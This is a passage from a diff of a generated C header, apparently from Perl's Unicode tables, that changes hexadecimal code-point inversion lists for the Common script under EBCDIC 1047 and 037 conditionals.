+ 0x122, + 0x123, + 0x124, + 0x125, + 0x126, + 0x127, + 0x128, + 0x129, + 0x12A, + 0x12B, + 0x12C, + 0x12D, + 0x12E, + 0x12F, + 0x130, + 0x131, + 0x132, + 0x133, + 0x134, + 0x135, + 0x136, + 0x137, + 0x139, + 0x13A, + 0x13B, + 0x13C, + 0x13D, + 0x13E, + 0x13F, + 0x140, + 0x141, + 0x142, + 0x143, + 0x144, + 0x145, + 0x146, + 0x147, + 0x148, + 0x14A, + 0x14B, + 0x14C, + 0x14D, + 0x14E, + 0x14F, + 0x150, + 0x151, + 0x152, + 0x153, + 0x154, + 0x155, + 0x156, + 0x157, + 0x158, + 0x159, + 0x15A, + 0x15B, + 0x15C, + 0x15D, + 0x15E, + 0x15F, + 0x160, + 0x161, + 0x162, + 0x163, + 0x164, + 0x165, + 0x166, + 0x167, + 0x168, + 0x169, + 0x16A, + 0x16B, + 0x16C, + 0x16D, + 0x16E, + 0x16F, + 0x170, + 0x171, + 0x172, + 0x173, + 0x174, + 0x175, + 0x176, + 0x177, + 0x178, + 0x17A, + 0x17B, + 0x17C, + 0x17D, + 0x17E, + 0x181, + 0x183, + 0x184, + 0x185, + 0x186, + 0x188, + 0x189, + 0x18C, + 0x18E, + 0x192, + 0x193, + 0x195, + 0x196, + 0x199, + 0x19C, + 0x19E, + 0x19F, + 0x1A1, + 0x1A2, + 0x1A3, + 0x1A4, + 0x1A5, + 0x1A6, + 0x1A8, + 0x1A9, + 0x1AA, + 0x1AC, + 0x1AD, + 0x1AE, + 0x1B0, + 0x1B1, + 0x1B4, + 0x1B5, + 0x1B6, + 0x1B7, + 0x1B9, + 0x1BB, + 0x1BC, + 0x1BD, + 0x1C0, + 0x1C4, + 0x1C6, + 0x1C7, + 0x1C9, + 0x1CA, + 0x1CC, + 0x1CD, + 0x1CE, + 0x1CF, + 0x1D0, + 0x1D1, + 0x1D2, + 0x1D3, + 0x1D4, + 0x1D5, + 0x1D6, + 0x1D7, + 0x1D8, + 0x1D9, + 0x1DA, + 0x1DB, + 0x1DC, + 0x1DE, + 0x1DF, + 0x1E0, + 0x1E1, + 0x1E2, + 0x1E3, + 0x1E4, + 0x1E5, + 0x1E6, + 0x1E7, + 0x1E8, + 0x1E9, + 0x1EA, + 0x1EB, + 0x1EC, + 0x1ED, + 0x1EE, + 0x1EF, + 0x1F1, + 0x1F3, + 0x1F4, + 0x1F5, + 0x1F6, + 0x1F9, + 0x1FA, + 0x1FB, + 0x1FC, + 0x1FD, + 0x1FE, + 0x1FF, + 0x200, + 0x201, + 0x202, + 0x203, + 0x204, + 0x205, + 0x206, + 0x207, + 0x208, + 0x209, + 0x20A, + 0x20B, + 0x20C, + 0x20D, + 0x20E, + 0x20F, + 0x210, + 0x211, + 0x212, + 0x213, + 0x214, + 0x215, + 0x216, + 0x217, + 0x218, + 0x219, + 0x21A, + 0x21B, + 0x21C, + 0x21D, + 0x21E, + 0x21F, + 0x220, + 0x221, + 0x222, + 0x223, + 0x224, + 0x225, + 0x226, + 0x227, + 0x228, + 0x229, + 0x22A, + 0x22B, + 0x22C, + 0x22D, + 0x22E, + 0x22F, + 0x230, + 0x231, + 0x232, + 0x233, + 0x23A, + 0x23C, + 0x23D, + 0x23F, + 0x241, + 0x242, + 0x243, + 0x247, + 0x248, + 0x249, + 0x24A, + 0x24B, + 0x24C, + 0x24D, + 0x24E, + 0x24F, + 0x294, + 0x295, 0x2B9, + 0x2C0, + 0x2C2, + 0x2C6, + 0x2D2, 0x2E0, 0x2E5, - 0x2EA, - 0x2EC, - 0x300, - 0x374, - 0x375, - 0x37E, - 0x37F, - 0x385, - 0x386, - 0x387, - 0x388, - 0x589, - 0x58A, - 0x605, - 0x606, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x640, - 0x641, - 0x6DD, - 0x6DE, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0xE3F, - 0xE40, - 0xFD5, - 0xFD9, - 0x10FB, - 0x10FC, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x1802, - 0x1804, - 0x1805, - 0x1806, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x2000, - 0x200C, - 0x200E, - 0x2065, - 0x2066, - 0x2071, - 0x2074, - 0x207F, - 0x2080, - 0x208F, - 0x20A0, - 0x20C0, - 0x2100, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2E00, - 0x2E4A, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3005, - 0x3006, - 0x3007, - 0x3008, - 0x3021, - 0x3030, - 0x3038, - 0x303C, - 0x3040, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FD, - 0x3190, - 0x31A0, - 0x31C0, - 0x31E4, - 0x3220, - 0x3260, - 0x327F, - 0x32D0, - 0x3358, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA700, - 0xA722, - 0xA788, - 0xA78B, - 0xA830, - 0xA83A, - 0xA92E, - 0xA92F, - 0xA9CF, - 0xA9D0, - 0xAB5B, - 0xAB5C, - 0xFD3E, - 0xFD40, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x10140, - 0x10190, - 0x1019C, - 0x101D0, - 0x101FD, - 0x102E1, - 0x102FC, - 0x1BCA0, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D167, - 0x1D16A, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F200, - 0x1F201, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SC__ZYYY_invlist[] = { /* for EBCDIC 037 */ - 350, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2B9, - 0x2E0, - 0x2E5, - 0x2EA, 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, 0x300, + 0x370, + 0x371, + 0x372, + 0x373, 0x374, 0x375, + 0x376, + 0x377, + 0x378, + 0x37A, 0x37E, 0x37F, - 0x385, + 0x380, 0x386, 0x387, 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x390, + 0x391, + 0x3A2, + 0x3A3, + 0x3AC, + 0x3CF, + 0x3D0, + 0x3D2, + 0x3D5, + 0x3D8, + 0x3D9, + 0x3DA, + 0x3DB, + 0x3DC, + 0x3DD, + 0x3DE, + 0x3DF, + 0x3E0, + 0x3E1, + 0x3E2, + 0x3E3, + 0x3E4, + 0x3E5, + 0x3E6, + 0x3E7, + 0x3E8, + 0x3E9, + 0x3EA, + 0x3EB, + 0x3EC, + 0x3ED, + 0x3EE, + 0x3EF, + 0x3F4, + 0x3F5, + 0x3F6, + 0x3F7, + 0x3F8, + 0x3F9, + 0x3FB, + 0x3FD, + 0x430, + 0x460, + 0x461, + 0x462, + 0x463, + 0x464, + 0x465, + 0x466, + 0x467, + 0x468, + 0x469, + 0x46A, + 0x46B, + 0x46C, + 0x46D, + 0x46E, + 0x46F, + 0x470, + 0x471, + 0x472, + 0x473, + 0x474, + 0x475, + 0x476, + 0x477, + 0x478, + 0x479, + 0x47A, + 0x47B, + 0x47C, + 0x47D, + 0x47E, + 0x47F, + 0x480, + 0x481, + 0x482, + 0x483, + 0x48A, + 0x48B, + 0x48C, + 0x48D, + 0x48E, + 0x48F, + 0x490, + 0x491, + 0x492, + 0x493, + 0x494, + 0x495, + 0x496, + 0x497, + 0x498, + 0x499, + 0x49A, + 0x49B, + 0x49C, + 0x49D, + 0x49E, + 0x49F, + 0x4A0, + 0x4A1, + 0x4A2, + 0x4A3, + 0x4A4, + 0x4A5, + 0x4A6, + 0x4A7, + 0x4A8, + 0x4A9, + 0x4AA, + 0x4AB, + 0x4AC, + 0x4AD, + 0x4AE, + 0x4AF, + 0x4B0, + 0x4B1, + 0x4B2, + 0x4B3, + 0x4B4, + 0x4B5, + 0x4B6, + 0x4B7, + 0x4B8, + 0x4B9, + 0x4BA, + 0x4BB, + 0x4BC, + 0x4BD, + 0x4BE, + 0x4BF, + 0x4C0, + 0x4C2, + 0x4C3, + 0x4C4, + 0x4C5, + 0x4C6, + 0x4C7, + 0x4C8, + 0x4C9, + 0x4CA, + 0x4CB, + 0x4CC, + 0x4CD, + 0x4CE, + 0x4D0, + 0x4D1, + 0x4D2, + 0x4D3, + 0x4D4, + 0x4D5, + 0x4D6, + 0x4D7, + 0x4D8, + 0x4D9, + 0x4DA, + 0x4DB, + 0x4DC, + 0x4DD, + 0x4DE, + 0x4DF, + 0x4E0, + 0x4E1, + 0x4E2, + 0x4E3, + 0x4E4, + 0x4E5, + 0x4E6, + 0x4E7, + 0x4E8, + 0x4E9, + 0x4EA, + 0x4EB, + 0x4EC, + 0x4ED, + 0x4EE, + 0x4EF, + 0x4F0, + 0x4F1, + 0x4F2, + 0x4F3, + 0x4F4, + 0x4F5, + 0x4F6, + 0x4F7, + 0x4F8, + 0x4F9, + 0x4FA, + 0x4FB, + 0x4FC, + 0x4FD, + 0x4FE, + 0x4FF, + 0x500, + 0x501, + 0x502, + 0x503, + 0x504, + 0x505, + 0x506, + 0x507, + 0x508, + 0x509, + 0x50A, + 0x50B, + 0x50C, + 0x50D, + 0x50E, + 0x50F, + 0x510, + 0x511, + 0x512, + 0x513, + 0x514, + 0x515, + 0x516, + 0x517, + 0x518, + 0x519, + 0x51A, + 0x51B, + 0x51C, + 0x51D, + 0x51E, + 0x51F, + 0x520, + 0x521, + 0x522, + 0x523, + 0x524, + 0x525, + 0x526, + 0x527, + 0x528, + 0x529, + 0x52A, + 0x52B, + 0x52C, + 0x52D, + 0x52E, + 0x52F, + 0x530, + 0x531, + 0x557, + 0x559, + 0x55A, + 0x55D, + 0x55E, + 0x561, + 0x588, 0x589, 0x58A, - 0x605, + 0x591, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F4, + 0x600, 0x606, 0x60C, - 0x60D, + 0x60E, + 0x610, 0x61B, 0x61C, + 0x61D, 0x61F, 0x620, - 0x640, - 0x641, + 0x64B, + 0x660, + 0x66A, + 0x66B, + 0x66D, + 0x66E, + 0x670, + 0x671, + 0x6D4, + 0x6D5, + 0x6D6, 0x6DD, 0x6DE, + 0x6DF, + 0x6E5, + 0x6E7, + 0x6E9, + 0x6EA, + 0x6EE, + 0x6F0, + 0x6FA, + 0x6FD, + 0x6FF, + 0x700, + 0x703, + 0x70F, + 0x710, + 0x711, + 0x712, + 0x730, + 0x74B, + 0x74D, + 0x7A6, + 0x7B1, + 0x7B2, + 0x7C0, + 0x7CA, + 0x7EB, + 0x7F4, + 0x7F6, + 0x7F8, + 0x7F9, + 0x7FA, + 0x7FB, + 0x800, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, + 0x82E, + 0x840, + 0x859, + 0x85C, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, 0x8E2, 0x8E3, + 0x904, + 0x93A, + 0x93D, + 0x93E, + 0x950, + 0x951, + 0x958, + 0x962, 0x964, 0x966, - 0xE3F, + 0x970, + 0x971, + 0x981, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BC, + 0x9BD, + 0x9BE, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CE, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E2, + 0x9E4, + 0x9E6, + 0x9F0, + 0x9F2, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA70, + 0xA72, + 0xA75, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABC, + 0xABD, + 0xABE, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE2, + 0xAE4, + 0xAE6, + 0xAF0, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3C, + 0xB3D, + 0xB3E, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB62, + 0xB64, + 0xB66, + 0xB70, + 0xB71, + 0xB72, + 0xB82, + 0xB83, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBF0, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC3E, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC62, + 0xC64, + 0xC66, + 0xC70, + 0xC80, + 0xC81, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBC, + 0xCBD, + 0xCBE, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE2, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD3E, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4E, + 0xD4F, + 0xD54, + 0xD57, + 0xD58, + 0xD5F, + 0xD62, + 0xD64, + 0xD66, + 0xD70, + 0xD7A, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF4, + 0xE01, + 0xE31, + 0xE32, + 0xE34, + 0xE3B, 0xE40, - 0xFD5, - 0xFD9, + 0xE47, + 0xE4F, + 0xE50, + 0xE5A, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEB1, + 0xEB2, + 0xEB4, + 0xEBA, + 0xEBB, + 0xEBD, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, + 0xF00, + 0xF01, + 0xF18, + 0xF1A, + 0xF20, + 0xF2A, + 0xF35, + 0xF36, + 0xF37, + 0xF38, + 0xF39, + 0xF3A, + 0xF3E, + 0xF40, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF85, + 0xF86, + 0xF88, + 0xF8D, + 0xF98, + 0xF99, + 0xFBD, + 0xFC6, + 0xFC7, + 0x1000, + 0x102B, + 0x103F, + 0x1040, + 0x104A, + 0x104C, + 0x1050, + 0x1056, + 0x105A, + 0x105E, + 0x1061, + 0x1062, + 0x1065, + 0x1067, + 0x106E, + 0x1071, + 0x1075, + 0x1082, + 0x108E, + 0x108F, + 0x1090, + 0x109A, + 0x109E, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, 0x10FB, 0x10FC, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135D, + 0x1360, + 0x1362, + 0x1363, + 0x1367, + 0x1369, + 0x1380, + 0x1390, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1401, + 0x166D, + 0x166E, + 0x166F, + 0x1680, + 0x1681, + 0x169B, + 0x169D, + 0x16A0, 0x16EB, 0x16EE, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1712, + 0x1715, + 0x1720, + 0x1732, 0x1735, 0x1737, + 0x1740, + 0x1752, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17B4, + 0x17D4, + 0x17D7, + 0x17D8, + 0x17DC, + 0x17DD, + 0x17DE, + 0x17E0, + 0x17EA, 0x1802, + 0x1803, 0x1804, - 0x1805, - 0x1806, + 0x1808, + 0x1809, + 0x180A, + 0x180B, + 0x180E, + 0x180F, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x1885, + 0x1887, + 0x18A9, + 0x18AA, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1944, + 0x1946, + 0x1950, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DA, + 0x1A00, + 0x1A17, + 0x1A1C, + 0x1A20, + 0x1A55, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA7, + 0x1AA8, + 0x1AAC, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B05, + 0x1B34, + 0x1B45, + 0x1B4C, + 0x1B50, + 0x1B5A, + 0x1B5C, + 0x1B5E, + 0x1B60, + 0x1B6B, + 0x1B74, + 0x1B80, + 0x1B83, + 0x1BA1, + 0x1BAE, + 0x1BB0, + 0x1BBA, + 0x1BE6, + 0x1BF4, + 0x1C00, + 0x1C24, + 0x1C38, + 0x1C3B, + 0x1C3D, + 0x1C40, + 0x1C4A, + 0x1C4D, + 0x1C50, + 0x1C5A, + 0x1C7E, + 0x1C80, + 0x1C89, + 0x1CD0, 0x1CD3, 0x1CD4, - 0x1CE1, - 0x1CE2, 0x1CE9, 0x1CED, 0x1CEE, - 0x1CF4, + 0x1CF2, 0x1CF5, + 0x1CF7, 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DC0, + 0x1DF6, + 0x1DFB, + 0x1E00, + 0x1E01, + 0x1E02, + 0x1E03, + 0x1E04, + 0x1E05, + 0x1E06, + 0x1E07, + 0x1E08, + 0x1E09, + 0x1E0A, + 0x1E0B, + 0x1E0C, + 0x1E0D, + 0x1E0E, + 0x1E0F, + 0x1E10, + 0x1E11, + 0x1E12, + 0x1E13, + 0x1E14, + 0x1E15, + 0x1E16, + 0x1E17, + 0x1E18, + 0x1E19, + 0x1E1A, + 0x1E1B, + 0x1E1C, + 0x1E1D, + 0x1E1E, + 0x1E1F, + 0x1E20, + 0x1E21, + 0x1E22, + 0x1E23, + 0x1E24, + 0x1E25, + 0x1E26, + 0x1E27, + 0x1E28, + 0x1E29, + 0x1E2A, + 0x1E2B, + 0x1E2C, + 0x1E2D, + 0x1E2E, + 0x1E2F, + 0x1E30, + 0x1E31, + 0x1E32, + 0x1E33, + 0x1E34, + 0x1E35, + 0x1E36, + 0x1E37, + 0x1E38, + 0x1E39, + 0x1E3A, + 0x1E3B, + 0x1E3C, + 0x1E3D, + 0x1E3E, + 0x1E3F, + 0x1E40, + 0x1E41, + 0x1E42, + 0x1E43, + 0x1E44, + 0x1E45, + 0x1E46, + 0x1E47, + 0x1E48, + 0x1E49, + 0x1E4A, + 0x1E4B, + 0x1E4C, + 0x1E4D, + 0x1E4E, + 0x1E4F, + 0x1E50, + 0x1E51, + 0x1E52, + 0x1E53, + 0x1E54, + 0x1E55, + 0x1E56, + 0x1E57, + 0x1E58, + 0x1E59, + 0x1E5A, + 0x1E5B, + 0x1E5C, + 0x1E5D, + 0x1E5E, + 0x1E5F, + 0x1E60, + 0x1E61, + 0x1E62, + 0x1E63, + 0x1E64, + 0x1E65, + 0x1E66, + 0x1E67, + 0x1E68, + 0x1E69, + 0x1E6A, + 0x1E6B, + 0x1E6C, + 0x1E6D, + 0x1E6E, + 0x1E6F, + 0x1E70, + 0x1E71, + 0x1E72, + 0x1E73, + 0x1E74, + 0x1E75, + 0x1E76, + 0x1E77, + 0x1E78, + 0x1E79, + 0x1E7A, + 0x1E7B, + 0x1E7C, + 0x1E7D, + 0x1E7E, + 0x1E7F, + 0x1E80, + 0x1E81, + 0x1E82, + 0x1E83, + 0x1E84, + 0x1E85, + 0x1E86, + 0x1E87, + 0x1E88, + 0x1E89, + 0x1E8A, + 0x1E8B, + 0x1E8C, + 0x1E8D, + 0x1E8E, + 0x1E8F, + 0x1E90, + 0x1E91, + 0x1E92, + 0x1E93, + 0x1E94, + 0x1E95, + 0x1E9E, + 0x1E9F, + 0x1EA0, + 0x1EA1, + 0x1EA2, + 0x1EA3, + 0x1EA4, + 0x1EA5, + 0x1EA6, + 0x1EA7, + 0x1EA8, + 0x1EA9, + 0x1EAA, + 0x1EAB, + 0x1EAC, + 0x1EAD, + 0x1EAE, + 0x1EAF, + 0x1EB0, + 0x1EB1, + 0x1EB2, + 0x1EB3, + 0x1EB4, + 0x1EB5, + 0x1EB6, + 0x1EB7, + 0x1EB8, + 0x1EB9, + 0x1EBA, + 0x1EBB, + 0x1EBC, + 0x1EBD, + 0x1EBE, + 0x1EBF, + 0x1EC0, + 0x1EC1, + 0x1EC2, + 0x1EC3, + 0x1EC4, + 0x1EC5, + 0x1EC6, + 0x1EC7, + 0x1EC8, + 0x1EC9, + 0x1ECA, + 0x1ECB, + 0x1ECC, + 0x1ECD, + 0x1ECE, + 0x1ECF, + 0x1ED0, + 0x1ED1, + 0x1ED2, + 0x1ED3, + 0x1ED4, + 0x1ED5, + 0x1ED6, + 0x1ED7, + 0x1ED8, + 0x1ED9, + 0x1EDA, + 0x1EDB, + 0x1EDC, + 0x1EDD, + 0x1EDE, + 0x1EDF, + 0x1EE0, + 0x1EE1, + 0x1EE2, + 0x1EE3, + 0x1EE4, + 0x1EE5, + 0x1EE6, + 0x1EE7, + 0x1EE8, + 0x1EE9, + 0x1EEA, + 0x1EEB, + 0x1EEC, + 0x1EED, + 0x1EEE, + 0x1EEF, + 0x1EF0, + 0x1EF1, + 0x1EF2, + 0x1EF3, + 0x1EF4, + 0x1EF5, + 0x1EF6, + 0x1EF7, + 0x1EF8, + 0x1EF9, + 0x1EFA, + 0x1EFB, + 0x1EFC, + 0x1EFD, + 0x1EFE, + 0x1EFF, + 0x1F08, + 0x1F10, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F28, + 0x1F30, + 0x1F38, + 0x1F40, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F60, + 0x1F68, + 0x1F70, + 0x1F7E, + 0x1F80, + 0x1F88, + 0x1F90, + 0x1F98, + 0x1FA0, + 0x1FA8, + 0x1FB0, + 0x1FB5, + 0x1FB6, + 0x1FB8, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FC8, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FD8, + 0x1FDC, + 0x1FE0, + 0x1FE8, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FF8, + 0x1FFD, 0x2000, + 0x200B, 0x200C, 0x200E, + 0x2010, + 0x2013, + 0x2015, + 0x2018, + 0x2020, + 0x2024, + 0x2025, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x2039, + 0x203B, + 0x203C, + 0x203E, + 0x2045, + 0x2047, + 0x204A, + 0x205F, + 0x2060, 0x2065, 0x2066, + 0x2070, 0x2071, - 0x2074, + 0x2072, + 0x207D, 0x207F, 0x2080, + 0x208D, 0x208F, - 0x20A0, - 0x20C0, - 0x2100, + 0x2090, + 0x209D, + 0x20D0, + 0x20F1, + 0x2102, + 0x2103, + 0x2107, + 0x2108, + 0x210A, + 0x210B, + 0x210E, + 0x2110, + 0x2113, + 0x2114, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, 0x2126, 